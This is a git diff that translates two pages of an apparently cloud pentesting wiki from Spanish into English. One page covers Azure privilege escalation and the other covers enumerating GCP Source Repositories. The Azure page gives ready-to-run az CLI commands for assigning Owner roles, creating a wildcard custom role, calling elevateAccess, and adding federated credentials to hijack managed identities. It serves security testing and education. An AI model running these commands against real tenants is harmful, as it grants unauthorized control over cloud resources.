diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md index bcd80e3ab..3076c610d 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md @@ -4,7 +4,7 @@ ## Azure IAM -Para más información, consulta: +Fore more information check: {{#ref}} ../az-services/az-azuread.md @@ -12,38 +12,45 @@ Para más información, consulta: ### Microsoft.Authorization/roleAssignments/write -Este permiso permite asignar roles a principales sobre un alcance específico, lo que permite a un atacante escalar privilegios al asignarse un rol más privilegiado: +This permission allows to assign roles to principals over a specific scope, allowing an attacker to escalate privileges by assigning himself a more privileged role: + ```bash # Example az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234" ``` + ### Microsoft.Authorization/roleDefinitions/Write -Este permiso permite modificar los permisos otorgados por un rol, lo que permite a un atacante escalar privilegios al otorgar más permisos a un rol que se le ha asignado. +This permission allows to modify the permissions granted by a role, allowing an attacker to escalate privileges by granting more permissions to a role he has assigned. + +Create the file `role.json` with the following **content**: -Crea el archivo `role.json` con el siguiente **contenido**: ```json { -"Name": "", -"IsCustom": true, -"Description": "Custom role with elevated privileges", -"Actions": ["*"], -"NotActions": [], -"DataActions": ["*"], -"NotDataActions": [], -"AssignableScopes": ["/subscriptions/"] + "Name": "", + "IsCustom": true, + "Description": "Custom role with elevated privileges", + "Actions": ["*"], + "NotActions": [], + "DataActions": ["*"], + "NotDataActions": [], + "AssignableScopes": ["/subscriptions/"] } ``` -Luego actualiza los permisos del rol con la definición anterior llamando: + +Then update the role permissions with the previous definition calling: + ```bash az role definition update --role-definition role.json ``` + ### Microsoft.Authorization/elevateAccess/action -Este permiso permite elevar privilegios y poder asignar permisos a cualquier principal sobre los recursos de Azure. Está destinado a ser otorgado a los Administradores Globales de Entra ID para que también puedan gestionar permisos sobre los recursos de Azure. +This permissions allows to elevate privileges and be able to assign permissions to any principal to Azure resources. It's meant to be given to Entra ID Global Administrators so they can also manage permissions over Azure resources. > [!TIP] -> Creo que el usuario necesita ser Administrador Global en Entra ID para que la llamada de elevación funcione. +> I think the user need to be Global Administrator in Entrad ID for the elevate call to work. + ```bash # Call elevate az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01" @@ -51,22 +58,27 @@ az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Au # Grant a user the Owner role az role assignment create --assignee "" --role "Owner" --scope "/" ``` + ### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write -Este permiso permite agregar credenciales federadas a identidades administradas. Por ejemplo, dar acceso a Github Actions en un repositorio a una identidad administrada. Luego, permite **acceder a cualquier identidad administrada definida por el usuario**. +This permission allows to add Federated credentials to managed identities. E.g. give access to Github Actions in a repo to a managed identity. Then, it allows to **access any user defined managed identity**. + +Example command to give access to a repo in Github to the a managed identity: -Ejemplo de comando para dar acceso a un repositorio en Github a una identidad administrada: ```bash # Generic example: az rest --method PUT \ ---uri "https://management.azure.com//subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities//federatedIdentityCredentials/?api-version=2023-01-31" \ ---headers "Content-Type=application/json" \ ---body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:/:ref:refs/heads/","audiences":["api://AzureADTokenExchange"]}}' + --uri "https://management.azure.com//subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities//federatedIdentityCredentials/?api-version=2023-01-31" \ + --headers "Content-Type=application/json" \ + --body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:/:ref:refs/heads/","audiences":["api://AzureADTokenExchange"]}}' # Example with specific data: az rest --method PUT \ ---uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \ ---headers "Content-Type=application/json" \ ---body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}' + --uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \ + --headers "Content-Type=application/json" \ + --body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}' ``` + {{#include ../../../banners/hacktricks-training.md}} + + diff --git a/src/pentesting-cloud/gcp-security/gcp-services/gcp-source-repositories-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-source-repositories-enum.md index a6ae4621f..3f40c6ca6 100644 --- a/src/pentesting-cloud/gcp-security/gcp-services/gcp-source-repositories-enum.md +++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-source-repositories-enum.md @@ -1,37 +1,38 @@ -# GCP - Enumeración de Repositorios de Código +# GCP - Source Repositories Enum {{#include ../../../banners/hacktricks-training.md}} -## Información Básica +## Basic Information -Google Cloud Source Repositories es un **servicio de repositorio Git privado** completamente funcional y escalable. Está diseñado para **albergar tu código fuente en un entorno completamente gestionado**, integrándose sin problemas con otras herramientas y servicios de GCP. Ofrece un lugar colaborativo y seguro para que los equipos almacenen, gestionen y rastreen su código. +Google Cloud Source Repositories is a fully-featured, scalable, **private Git repository service**. It's designed to **host your source code in a fully managed environment**, integrating seamlessly with other GCP tools and services. It offers a collaborative and secure place for teams to store, manage, and track their code. -Las características clave de Cloud Source Repositories incluyen: +Key features of Cloud Source Repositories include: -1. **Alojamiento Git Totalmente Gestionado**: Ofrece la funcionalidad familiar de Git, lo que significa que puedes usar comandos y flujos de trabajo de Git regulares. -2. **Integración con Servicios de GCP**: Se integra con otros servicios de GCP como Cloud Build, Pub/Sub y App Engine para una trazabilidad de extremo a extremo desde el código hasta la implementación. -3. **Repositorios Privados**: Asegura que tu código se almacene de manera segura y privada. Puedes controlar el acceso utilizando roles de Cloud Identity and Access Management (IAM). -4. **Análisis de Código Fuente**: Trabaja con otras herramientas de GCP para proporcionar análisis automatizados de tu código fuente, identificando problemas potenciales como errores, vulnerabilidades o malas prácticas de codificación. -5. **Herramientas de Colaboración**: Soporta la codificación colaborativa con herramientas como solicitudes de fusión, comentarios y revisiones. -6. **Soporte de Espejo**: Te permite conectar Cloud Source Repositories con repositorios alojados en GitHub o Bitbucket, habilitando la sincronización automática y proporcionando una vista unificada de todos tus repositorios. +1. **Fully Managed Git Hosting**: Offers the familiar functionality of Git, meaning you can use regular Git commands and workflows. +2. **Integration with GCP Services**: Integrates with other GCP services like Cloud Build, Pub/Sub, and App Engine for end-to-end traceability from code to deployment. +3. **Private Repositories**: Ensures your code is stored securely and privately. You can control access using Cloud Identity and Access Management (IAM) roles. +4. **Source Code Analysis**: Works with other GCP tools to provide automated analysis of your source code, identifying potential issues like bugs, vulnerabilities, or bad coding practices. +5. **Collaboration Tools**: Supports collaborative coding with tools like merge requests, comments, and reviews. +6. **Mirror Support**: Allows you to connect Cloud Source Repositories with repositories hosted on GitHub or Bitbucket, enabling automatic synchronization and providing a unified view of all your repositories. -### Información de OffSec +### OffSec information -- La configuración de los repositorios de código dentro de un proyecto tendrá una **Cuenta de Servicio** utilizada para publicar mensajes de Cloud Pub/Sub. La que se usa por defecto es la **Compute SA**. Sin embargo, **no creo que sea posible robar su token** de Source Repositories ya que se está ejecutando en segundo plano. -- Para ver el código dentro de la consola web de GCP Cloud Source Repositories ([https://source.cloud.google.com/](https://source.cloud.google.com/)), necesitas que el código esté **dentro de la rama master por defecto**. -- También puedes **crear un Repositorio en Espejo** apuntando a un repo de **Github** o **Bitbucket** (dando acceso a esas plataformas). -- Es posible **codificar y depurar desde dentro de GCP**. -- Por defecto, Source Repositories **previene que claves privadas sean enviadas en commits**, pero esto se puede desactivar. +- The source repositories configuration inside a project will have a **Service Account** used to publishing Cloud Pub/Sub messages. The default one used is the **Compute SA**. However, **I don't think it's possible steal its token** from Source Repositories as it's being executed in the background. +- To see the code inside the GCP Cloud Source Repositories web console ([https://source.cloud.google.com/](https://source.cloud.google.com/)), you need the code to be **inside master branch by default**. +- You can also **create a mirror Cloud Repository** pointing to a repo from **Github** or **Bitbucket** (giving access to those platforms). +- It's possible to **code & debug from inside GCP**. +- By default, Source Repositories **prevents private keys to be pushed in commits**, but this can be disabled. -### Abrir en Cloud Shell +### Open In Cloud Shell -Es posible abrir el repositorio en Cloud Shell, aparecerá un aviso como este: +It's possible to open the repository in Cloud Shell, a prompt like this one will appear:
-Esto te permitirá codificar y depurar en Cloud Shell (lo que podría comprometer cloudshell). +This will allow you to code and debug in Cloud Shell (which could get cloudshell compromised). + +### Enumeration -### Enumeración ```bash # Repos enumeration gcloud source repos list #Get names and URLs @@ -42,7 +43,7 @@ gcloud source repos get-iam-policy gcloud source repos clone gcloud source repos get-iam-policy ... git add & git commit -m ... -git push --set-upstream origin master +git push --set-upstream origin $BRANCH git push -u origin master # Access via git @@ -50,16 +51,20 @@ git push -u origin master git clone ssh://username@domain.com@source.developers.google.com:2022/p//r/ git add, commit, push... ``` -### Escalación de Privilegios y Post Explotación + +### Privilege Escalation & Post Exploitation {{#ref}} ../gcp-privilege-escalation/gcp-sourcerepos-privesc.md {{#endref}} -### Enumeración No Autenticada +### Unauthenticated Enum {{#ref}} ../gcp-unauthenticated-enum-and-access/gcp-source-repositories-unauthenticated-enum.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} + + +